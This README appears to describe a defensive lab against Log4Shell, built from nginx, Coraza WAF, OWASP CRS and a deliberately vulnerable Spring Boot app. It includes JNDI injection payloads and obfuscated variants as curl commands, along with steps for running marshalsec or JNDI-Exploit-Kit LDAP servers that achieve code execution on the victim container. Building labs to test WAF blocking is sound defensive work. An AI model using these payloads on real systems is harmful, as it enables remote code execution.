
Laboratorio de defensa contra Log4Shell (CVE-2021-44228) — nginx + módulo dinámico de Coraza WAF + OWASP CRS v4. Solo para uso educativo.
Propósito educativo / defensivo: este laboratorio contiene una aplicación deliberadamente vulnerable (Log4j 2.14.1) y un kit de exploits JNDI, SOLO para aprender a detectar y bloquear Log4Shell en un entorno aislado. No lo despliegues a Internet, no lo uses para atacar sistemas que no te pertenecen.
Laboratorio práctico de defensa contra Log4Shell (CVE-2021-44228) usando nginx con Coraza WAF integrado (módulo dinámico) + OWASP CRS v4 + conjunto de reglas JNDI personalizadas. Incluye un contenedor objetivo Spring Boot vulnerable, una attacker-box Kali y Suricata + Wazuh para observación.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Flujo de peticiones: client → nginx (Coraza inspect) → log4shell-app. El WAF se ejecuta dentro de nginx (a través del módulo ngx_http_coraza_module.so), no en un contenedor aparte.
| Elemento | Versión mínima |
|---|---|
| Docker Desktop / Engine | 24+ con Compose v2 |
| RAM libre | 4 GB (Wazuh consume ~1.5 GB) |
| Disco libre | 6 GB (artefactos de build de imágenes) |
| Tiempo de build inicial | 10–15 minutos (libcoraza + módulo nginx + herramientas Maven del atacante) |
cd /path/to/log4shell-nginx-coraza
docker compose build
La etapa más lenta es nginx (build de libcoraza v1.4.0 con Go 1.25 y después compilación del módulo coraza-nginx). Se cachea tras la primera vez.
docker compose up -d
docker compose ps
Después de ~30s, estado esperado:
| Service | STATUS |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | puede estar Restarting (ver sección 8 — no bloquea el laboratorio) |
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ sin el header X-Api-Version devuelve 400 — es el error whitelabel de Spring Boot (sin handler), no es un bloqueo del WAF.
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Esperado: HTTP/1.1 403 Forbidden, cuerpo <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Cada evento JSON Lines incluye:
transaction.is_interrupted: true → el WAF bloqueómessages[].error_message → qué regla se disparó, archivo y línea, severidaddocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtrar los bloqueos:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Por defecto
backend-nettieneinternal: trueyattacker-boxsolo está endmz-net, por lo que log4shell-app NO puede alcanzar attacker-box. Para que la cadena JNDI funcione de extremo a extremo, haz el paso 6.0 primero.
Edita docker-compose.yml y añade attacker-box a backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
O mueve log4shell-app a dmz-net (más simple, pero reduce el valor didáctico de la segmentación):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
Aplica: docker compose up -d (Compose recrea ese contenedor).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
El servidor escucha en LDAP :1389 y HTTP :8888 (expuestos al host en el compose).
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Verifícalo:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
Si el archivo aparece → la cadena de exploit funciona, la app sigue vulnerable y el WAF NO se evade por la vía principal.
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
El archivo ./coraza/config/log4shell-rules.conf está montado :ro en nginx en /etc/nginx/coraza/log4shell-rules.conf. Después de editarlo:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
Si Coraza reporta un error de parseo (failed to compile the directive...), los workers saldrán y nginx -s reload no podrá reiniciarlos. En ese caso:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Orden de inclusión (en nginx/coraza/main.conf, ya integrado en la imagen):
SecRuleEngine On, audit log, debug logcrs-setup.conf — inicializa tx.*_anomaly_score, umbralowasp-crs/rules/*.conf — todo el CRS v4.7.0log4shell-rules.conf — reglas personalizadas (montadas desde el host)Rango de IDs de reglas personalizadas: 1910001 – 1910999 (evita el rango CRS 900000–999999).